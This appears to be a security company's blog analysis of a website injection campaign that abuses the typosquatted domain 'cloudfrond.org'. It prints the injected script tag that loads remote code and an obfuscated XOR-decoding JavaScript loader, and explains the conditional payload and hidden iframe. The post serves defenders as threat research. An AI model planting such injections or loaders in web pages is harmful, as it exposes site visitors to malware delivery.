Websites Compromised with CloudFrond Injection

If you haven’t already noticed, we spent a good deal of time scraping the bottom of the interweb barrel. It’s dirty work, but someone has to do it. I’m not going to lie though, to us it’s fascinating digging up little nuggets daily, understanding how attackers think and uncovering the latest trends. Besides, it gives us countless opportunities to share those with you.

What we find most fascinating are those instance in which we find suspicious payloads where we have to tried to connect the dots. They don’t necessarily do anything malicious at the time we check, but they have, for lack of a better word, great potential. Granted, great potential for the attacker and devastating impacts for the user.

A good example of this is the following payload:

<!-- [if IE]><script type="text/javascript" src="hxxp://cloudfrond.org/golden.phtml"></script> <![endif]-->

Looks good, right? CloudFrond is a valid service, must be a false alarm…

Ah, wait, I’m confusing it with CloudFront, Amazon’s CDN web service. Of course, I know all you hardcore techies are laughing, thinking, “Of course we knew that” – I assure you though, end users and many webmasters will not be so quick to the gun. Think back to the case on Gogle APIs, which also took advantage of typo squatting.

I did a check to see if the domain would work, but there’s no webpage under cloudfront.org. either.

The Payload

Next, we take a peak at what the script is loading (edited to remove payload):

/*jskdljgdlkfjgdlkfg*/XJHNOs=print;rNjoDPv=String;RlH=rNjoDPv["fromCharCode"];crgLMK=parseInt;utO=function(a,b){return a.charAt(b);};var dOK='';var Glg='7d3d099208132cbb18d70636c524b94077a6e879d602dbfa0813ff71fd18bf53005c3a50932616ee71ad68bf114f9b6349e5431abc4509b7ad5e054778acbad4c34806e724b3eb7913224c745465249d8d6456f5b3442031ce9422be75f678e7b0c63fe25b3ad7a0c2935b2338079d55a1a972dafc0a1cfdf32f6151017843c3fba4e33a0c11517839376a3372772d557b98';var SUTbVRi='733b2ab628364cd076b5755fae4e9c281aca9319b45db58b6f82dc199e6ee17a0f5a1c75b80939d20ca5669f3270bb486d842273e07923d4cf2c696c16c7deb3bd0c63d1088dcc54312264487d5e49e07b207a5873a87d2b8f5cd181ca03294f089b6e230f52da53be966b2f297a330a4bb6afb3b15c954b76332b488da0a20766b9a9e0a23c1cbc7c856413a6be76669b1dbcd66acdb32aaa0d8f2bceafc65166dc84b91c8c652e79485c7575a56cd97c2cb91fa8b56e483f2c23dedf0aaf54cb5784902e6d68a16357823008e3300fd1b6d1b5c4b20d075309a66d667eb9a90e38d81448204db97e8d070a7d1c3012562e4b261ddb6729873cc415c4a90e431eabaf152c50b5';var w=0x0+0;for(var i=0;i<(Glg.length/2);i++){dOK+=RlH(crgLMK(utO(Glg,w)+utO(Glg,w+1),0x8+8)^crgLMK(utO(SUTbVRi,w)+utO(SUTbVRi,w+1),0x0F+1));w+=2;}XJHNOs(dOK,96);

It is a custom encoded script which loads differently every time you access, also known as a conditional payload. In fact, if you access it using Internet Explorer it just changes the variables, but if you use any other browser or user-agent, everything changes and the output is broken, like this:

Using the right browser we were able to decode it, its definitely suspicious, but no harmful payload was delivered at the time. Here’s the traffic it generated:

It loaded a Google page on a 1×1 pixel iframe and then loaded the next function of itself. However this function is returning a 404 Not found message. Probably the payload is not available or they had it disabled.

We see two main functions inside the code:

1 – iFrame Creation

2 – The main payload, which also uses the same encoding to hide the URL which will be used in the iframe.

Understanding Intentions

I would venture to say that there are two different things at play here:

1 – The CloudFrond campaign is just getting started, attackers are simply setting their injections in place. This would explain why the injection is pulling empty payloads. This is also a good way to avoid detection, kill the payload until you have your network of infected sites ready to go.

2 – The attackers are in fact trying to confuse webmasters by abusing our trust in trusted sources, i.e., Amazon’s CloudFront. If there is one thing we have learned in the years of doing this work, half the webmaster don’t really know what code and service their website ingests, that’s on the developer, they’re simply responsible for maintaining it. This is where the breakdown begins, and the vulnerability that attackers look to exploit.

At the moment, the CloudFrond domain is not being blacklisted by anyone, most likely because it’s not technically distributing true malware. But, it’s definitely a perfect example of how we can’t be depending on exact injections, but rather leverage a concept known as Indicators of Compromise (IoC). This is why we leverage IoC in our research and it’s the foundation from which some of our tools, like SiteCheck – Free Website Scanner, are built on.

We will keep monitoring to see if the CloudFrond script changes its behavior.